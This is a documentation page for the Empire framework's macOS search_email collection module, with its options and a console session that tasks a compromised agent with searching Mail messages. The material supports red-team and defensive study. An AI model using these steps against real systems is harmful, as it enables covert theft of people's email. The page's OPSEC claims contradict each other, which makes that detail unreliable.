SearchEmail - Empire Module


This page contains detailed information about how to use the python/collection/osx/search_email Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: SearchEmail
Module: python/collection/osx/search_email
Source code [1]: empire/server/modules/python/collection/osx/search_email.yaml
Source code [2]: empire/server/modules/python/collection/osx/search_email.py
MITRE ATT&CK: T1114
Language: Python
Needs admin: No
OPSEC safe: Yes
Background: No

The search_email module searches for Mail .emlx messages, optionally only returning messages with the specified SearchTerm.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the search_email module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the search_email module:

Agent
Agent to execute module on.

Additional Module Options

This is a list of additional options that are supported by the search_email module:

SearchTerm
Term to grep for in email messages.

Search_email Example Usage

Here's an example of how to use the search_email module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/osx/ducky) > usemodule python/collection/osx/search_email

 Author       @harmj0y                                                             
 Background   False                                                                
 Comments     https://davidkoepi.wordpress.com/2013/07/06/macforensics5/           
 Description  Searches for Mail .emlx messages, optionally only returning messages 
              with the specified SearchTerm.                                       
 Language     python                                                               
 Name         python/collection/osx/search_email                                   
 NeedsAdmin   False                                                                
 OpsecSafe    True                                                                 
 Techniques   http://attack.mitre.org/techniques/T1114                             


,Record Options------,----------,-------------------------------------,
| Name       | Value | Required | Description                         |
|------------|-------|----------|-------------------------------------|
| Agent      |       | True     | Agent to execute module on.         |
|------------|-------|----------|-------------------------------------|
| SearchTerm |       | False    | Term to grep for in email messages. |
'------------'-------'----------'-------------------------------------'

(Empire: usemodule/python/collection/osx/search_email) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/collection/osx/search_email) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

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Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
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